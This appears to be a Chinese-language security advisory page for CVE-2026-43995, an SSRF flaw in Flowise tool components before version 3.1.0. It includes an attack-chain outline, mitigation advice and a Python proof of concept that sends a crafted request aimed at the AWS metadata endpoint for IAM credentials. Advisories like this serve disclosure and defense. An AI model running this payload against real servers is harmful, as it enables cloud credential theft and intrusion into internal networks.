IPBUF安全漏洞报告
English
CVE-2026-43995 CVSS 9.8 严重

CVE-2026-43995 Flowise 原始HTTP客户端调用漏洞

披露日期: 2026-05-11

漏洞信息

漏洞编号
CVE-2026-43995
漏洞类型
SSRF (服务端请求伪造)
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Flowise

相关标签

SSRFFlowiseLLMCVE-2026-43995RCE网络安全

漏洞概述

Flowise是一个用于构建定制化大语言模型流程的拖拽式用户界面工具。在3.1.0版本之前,该软件中的多个工具实现(包括OpenAPIToolkit、WebScraperTool、MCP和Arxiv)存在安全漏洞。这些组件直接导入并调用原始的HTTP客户端库(如node-fetch、axios),而非使用设计的安全封装层。攻击者可利用此缺陷绕过安全限制,诱导服务器向任意目标发送恶意HTTP请求。这可能导致内网探测、敏感信息泄露(如云平台元数据)或进一步的服务器端攻击。该漏洞在3.1.0版本中已得到修复。

技术细节

该漏洞的根本原因在于Flowise的特定工具模块未能正确使用经过安全加固的HTTP请求封装函数。在安全的设计模式下,应用程序应通过中间件或封装类来限制外部请求的目标地址,以防止SSRF(服务器端请求伪造)攻击,例如禁止访问内网IP段(127.0.0.1, 10.0.0.0/8等)或云元数据服务。然而,在受影响版本中,OpenAPIToolkit、WebScraperTool、MCP和Arxiv这四个核心组件直接调用了底层的node-fetch或axios库。这使得攻击者可以通过构造恶意的输入参数(如特制的URL或API端点),完全控制服务器发出的HTTP请求内容与目标。由于绕过了原有的安全检查,攻击者可以利用Flowise服务器作为代理,探测或攻击内网服务(如Redis、MySQL、Admin面板),甚至读取云平台的实例元数据(如AWS IAM凭证),从而导致严重的数据泄露或服务器被接管。

攻击链分析

STEP 1
侦察
攻击者识别出互联网上运行的Flowise实例(版本小于3.1.0)。
STEP 2
武器化
攻击者构造包含恶意URL(如内网IP地址或云元数据服务地址)的Payload,针对受影响的组件(如WebScraperTool)。
STEP 3
交付
攻击者向Flowise的API端点发送包含恶意参数的HTTP POST请求。
STEP 4
利用
Flowise服务器解析请求,受影响组件直接使用原始HTTP客户端向攻击者指定的内网地址发起连接。
STEP 5
影响
攻击者成功获取内网服务的响应数据(如敏感配置、凭证),可能导致进一步的数据窃取或RCE。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2026-43995 PoC Example # Targeting the WebScraperTool or similar component that takes a URL # This PoC attempts to access the AWS metadata service via SSRF target_url = "http://<TARGET_IP>:3000/api/v1/prediction/<FLOW_ID>" # Replace <TARGET_IP> and <FLOW_ID> with actual values # Payload to trigger SSRF, targeting internal metadata payload = { "question": "test", "overrideConfig": { "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/" } } try: response = requests.post(target_url, json=payload) if response.status_code == 200: print("[+] Potential SSRF triggered. Response:") print(response.text) else: print("[-] Request failed or blocked.") except Exception as e: print(f"Error: {e}")

影响范围

Flowise < 3.1.0

防御指南

临时缓解措施
建议立即升级至修复版本。如果暂时无法升级,应在网络层面实施严格的出站访问控制,阻断Flowise应用服务器访问内网敏感网段(如127.0.0.1, 169.254.169.254)及公网非必要地址,同时监控异常的出站HTTP请求流量。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表